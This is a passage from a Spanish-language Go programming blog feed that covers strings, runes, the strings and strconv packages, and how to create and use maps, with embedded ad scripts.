style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//U+306E &amp;#39;の&amp;#39; starts at byte position 14&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//U+4E8B &amp;#39;事&amp;#39; starts at byte position 17&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//U+60C5 &amp;#39;情&amp;#39; starts at byte position 20&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;resumen-del-paquete-strings-en-go&#34;&gt;Resumen del paquete strings en Go&lt;/h2&gt;&#xA;&lt;p&gt;Go cuenta con un paqueteen su librería estándar para manejar strings, con múltiples métodos. Aquí dejo algunos de los más importantes:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;func Contains(s, substr string) bool Revisa si una cadena de texto se encuentra en otra.&lt;/li&gt;&#xA;&lt;li&gt;func Count(s, substr string) int Cuenta las ocurrencias de una cadena de texto en otra.&lt;/li&gt;&#xA;&lt;li&gt;func HasPrefix(s, prefix string) bool Revisa si un string empieza un string&lt;/li&gt;&#xA;&lt;li&gt;func HasSuffix(s, suffix string) bool Revisa si un string termina con otro string&lt;/li&gt;&#xA;&lt;li&gt;func Join(elems []string, sep string) string Une todos los elementos de una lista en un string, usando un separador entre cada par de elementos&lt;/li&gt;&#xA;&lt;li&gt;func Split(s, sep string) []string Separa un string en una lista por un separador que le indiquemos&lt;/li&gt;&#xA;&lt;li&gt;func Index(s, substr string) int Devuelve el índice de una cadena de texto en otra&lt;/li&gt;&#xA;&lt;li&gt;func Replace(s, old, new string, n int) string Reemplaza la primera ocurrencia de una cadena de texto por otra&lt;/li&gt;&#xA;&lt;li&gt;func ReplaceAll(s, old, new string) string Reemplaza todas las ocurrencias de una cadena de texto por otra&lt;/li&gt;&#xA;&lt;li&gt;func ToLower(s string) string Convierte en minúsculas&lt;/li&gt;&#xA;&lt;li&gt;func ToUpper(s string) string Convierte en mayúsculas&lt;/li&gt;&#xA;&lt;li&gt;func Trim(s, cutset string) string Remueve los espacios al principio y al final&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Revisa las funciones completas en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pkg.go.dev/strings&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;la documentación de strings en go&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;resumen-del-paquete-strconv-en-go&#34;&gt;Resumen del paquete strconv en Go&lt;/h2&gt;&#xA;&lt;p&gt;También existe un paquete que nos permite convertir strings en otros tipos de datos:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;func Atoi(s string) (int, error) convierte un string en un entero&lt;/li&gt;&#xA;&lt;li&gt;func Itoa(i int) string convierte un número entero en un string&lt;/li&gt;&#xA;&lt;li&gt;func ParseInt(s string, base int, bitSize int) (i int64, err error) Convierte una representación en string de un número en cierta base a un entero.&lt;/li&gt;&#xA;&lt;li&gt;func ParseBool(str string) (bool, error) Convierte 1, t, T, TRUE, true, True en True o 0, f, F, FALSE, false, False en False&lt;/li&gt;&#xA;&lt;li&gt;func ParseFloat(s string, bitSize int) (float64, error) para convertir en un string en un flotante&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Mira el resto de funciones en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pkg.go.dev/strconv&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;la documentación de strconv en go.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;En esta entrada voy a explicar lo básico del funcionamiento de strings, runes y bytes en go, y hasta un poquito de utf-8.&lt;/p&gt;&#xA;&lt;p&gt;Para explicar el tema voy a dar por hecho que sabes lo básico de slices y tipos de datos en go, si no sabes sobre estos temas visita mi entrada de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-slices-y-arrays/&#34;&gt;array, slices en golang&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go: maps o diccionarios</title>
      <link>https://coffeebytes.dev/es/go/go-maps-o-diccionarios/</link>
      <pubDate>Tue, 21 Dec 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/go/go-maps-o-diccionarios/</guid>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;En el lenguaje de programación go, un map o hash table es el equivalente de un diccionario; poseen una llave o key que se relaciona con un valor o value. La llave y el valor pueden ser de diferentes tipos de datos, pero todas las llaves deben ser de un solo tipo y todos los valores deben ser del mismo tipo.&lt;/p&gt;&#xA;&lt;p&gt;Junto con el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-slices-y-arrays/&#34;&gt;array y el slice de go&lt;/a&gt;&#xA;, un map es una estructura que nos sirve como una colección de valores.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;funcionamiento-interno-de-un-map-en-go&#34;&gt;Funcionamiento interno de un map en go&lt;/h2&gt;&#xA;&lt;h3 id=&#34;implementacion-actual-de-go-swiss-tables&#34;&gt;Implementación actual de Go: Swiss-tables&lt;/h3&gt;&#xA;&lt;p&gt;Go 1.24 reemplazó su implementación de maps, ahora utiliza &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/swiss-tables-the-superior-performance-hashmap/&#34;&gt;Swiss-tables&lt;/a&gt;&#xA;, que actualmente son usadas en Rust. Swiss-tables proporciona un incremento en la velocidad en comparación con su implementación anterior, y también mejora:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Búsquedas lentas debido a buckets desbordados cuando se añadían entradas extra.&lt;/li&gt;&#xA;&lt;li&gt;Mayor uso de memoria debido a buckets desbordados que requieren espacio extra.&lt;/li&gt;&#xA;&lt;li&gt;Sobrecarga debida al rehashing al redimensionar los maps.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Si los hashmaps de go no te dan el rendimiento que necesitas, quizás puedas considerar usar un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/databases/construi-un-simulador-visual-de-un-bloom-filter/&#34;&gt;Bloom Filter&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;implementacion-anterior-de-go-buckets&#34;&gt;Implementación anterior de Go: Buckets&lt;/h3&gt;&#xA;&lt;p&gt;En Go un map funciona bastante similar a como lo haría en cualquier otro lenguaje. En Go hay buckets, un tipo de sección que consisten en 8 pares de llave-valor. La función hash (hash function) recibe la llave y nos redirige al bucket adecuado, es decir, el espacio de 9 pares de llave-valor donde se encuentra la nuestra y, una vez ahí, se busca la llave correcta.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/golang-maps-or-dictionaries/images/mapsGolang-1.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/golang-maps-or-dictionaries/images/mapsGolang-1.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Funcionamiento interno de un map en el lenguaje de programación go.&#34; width=&#34;800&#34; height=&#34;800&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Funcionamiento interno de un map en go. La información está tomada de la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://go.dev/src/runtime/map.go&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;documentación oficial de un map.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;¿Te suena el nombre de Brian W. Kernighan? ¿Sí? Es el autor de &#39;El libro del lenguaje de programación C&#39;. ¿Sabías que también escribió este libro sobre el lenguaje de programación Go? Si te gustó su estilo, probablemente también disfrutes este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Lenguaje de programación Go\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103953/go-programming-language-book_vp91jl.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41nJIXH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del Lenguaje de Programación Go en Amazon\&#34;,\&#34;title\&#34;:\&#34;Dónde aprender Go\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;crear-un-map-en-go&#34;&gt;Crear un map en go&lt;/h2&gt;&#xA;&lt;p&gt;Para declarar un map, usamos la palabra map y encerramos en corchetes el tipo de dato de la llave, seguido del tipo de dato del valor.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; diccionario &lt;span style=&#34;color:#ff5c57&#34;&gt;map&lt;/span&gt;[&lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;]&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// un map con llaves tipo string y valores de tipo entero&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;diccionario[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hello&amp;#34;&lt;/span&gt;] = &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;diccionario[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;panic&amp;#34;&lt;/span&gt;] = &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(diccionario)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//❌❌❌ panic: assignment to entry in nil map&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sin embargo si ejecutamos lo anterior nos dará un error. ¿Por qué? Es importante que sepas que &lt;strong&gt;los maps son referencias, apuntan a una ubicación de memoria&lt;/strong&gt;, como creamos un &lt;em&gt;map&lt;/em&gt; vacío pues apunta a la nada, a &lt;em&gt;nil&lt;/em&gt;, por lo que si intentamos modificarlo, nos dará un error.&lt;/p&gt;&#xA;&lt;p&gt;Igual que con el slice, tenemos dos maneras de crear un map o diccionario.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Pasándole los valores después del tipo de dato del valor&lt;/li&gt;&#xA;&lt;li&gt;Usando la función make.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;crear-un-map-en-go-con-valores&#34;&gt;Crear un map en go con valores&lt;/h2&gt;&#xA;&lt;p&gt;Podemos crear un map o diccionario usando map, el tipo de dato de las llaves entre corchetes, seguido del tipo de dato de los valores y luego los datos llave valor entre corchetes, separando cada uno con dos puntos.&lt;/p&gt;&#xA;&lt;p&gt;Las llaves del map pueden modificarse e incluso se pueden agregar nuevas.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; cuenta = &lt;span style=&#34;color:#ff5c57&#34;&gt;map&lt;/span&gt;[&lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;]&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Paloma&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Renee&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Kakuro&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;300&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Manuela&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;400&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cuenta[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Paloma&amp;#34;&lt;/span&gt;] = &lt;span style=&#34;color:#ff9f43&#34;&gt;500&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cuenta[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Colombe&amp;#34;&lt;/span&gt;] = &lt;span style=&#34;color:#ff9f43&#34;&gt;900&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;También podemos dejar que go infiera que es un map, pero solo dentro de una función, usando el operador walrus &amp;ldquo;:=&amp;rdquo;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cuenta &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;map&lt;/span&gt;[&lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;]&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Paloma&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Renee&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Kakuro&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;300&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Manuela&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;400&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cuenta[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Paloma&amp;#34;&lt;/span&gt;] = &lt;span style=&#34;color:#ff9f43&#34;&gt;500&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cuenta[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Colombe&amp;#34;&lt;/span&gt;] = &lt;span style=&#34;color:#ff9f43&#34;&gt;900&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;crear-un-map-con-make&#34;&gt;Crear un map con make&lt;/h2&gt;&#xA;&lt;p&gt;Para crear un map asignando memoria necesitamos usar la función make y especificar el tipo de datos que tendrán las llaves y los valores tras la palabra map.&lt;/p&gt;&#xA;&lt;p&gt;En este caso no tenemos que pasarle a make el argumento de la longitud del map. Si omitimos el tamaño del map, internamente, go le asignará un valor pequeño.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; diccionario = &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;map&lt;/span&gt;[&lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;]&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;diccionario[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hello&amp;#34;&lt;/span&gt;] = &lt;span 